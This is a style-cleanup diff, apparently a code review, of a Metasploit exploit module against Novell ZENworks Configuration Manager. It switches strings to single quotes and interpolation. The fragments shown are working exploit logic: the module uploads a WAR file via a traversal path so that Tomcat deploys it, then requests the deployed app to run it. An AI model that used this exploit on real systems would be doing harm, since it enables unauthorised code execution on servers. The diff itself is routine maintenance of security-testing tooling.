Use single quotes

modules/exploits/multi/http/zcm_file_upload.rb

@@ -53,11 +53,11 @@ class Metasploit3 < Msf::Exploit::Remote
       [
         Opt::RPORT(443),
         OptBool.new('SSL',
-          [ true, "Use SSL", true ]),
+          [ true, 'Use SSL', true ]),
         OptString.new('TARGETURI',
-          [ true, "The base path to ZCM / ZENworks Suite", '/zenworks/' ]),
+          [ true, 'The base path to ZCM / ZENworks Suite', '/zenworks/' ]),
         OptString.new('TOMCAT_PATH',
-          [ false, "The Tomcat webapps traversal path (from the temp directory)", '' ]),
+          [ false, 'The Tomcat webapps traversal path (from the temp directory)', '' ]),
         OptInt.new('SLEEP',
           [ true, 'Seconds to sleep while we wait for WAR deployment', 15 ]),
       ], self.class)
@@ -88,12 +88,11 @@ class Metasploit3 < Msf::Exploit::Remote
       'ctype' => 'application/octet-stream',
       'vars_get' => {
         'uid' => tomcat_path,
-        'filename' => app_base + ".war"
+        'filename' => "#{app_base}.war"
       }
     })
     if res && res.code == 200
-      print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
-      " seconds for deployment")
+      print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
       sleep(datastore['SLEEP'])
     else
       print_error("#{peer} - Failed to upload, try again with a different path?")
@@ -105,7 +104,8 @@ class Metasploit3 < Msf::Exploit::Remote
       'uri'    => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
       'method' => 'GET'
     })
-    return true
+
+    true
   end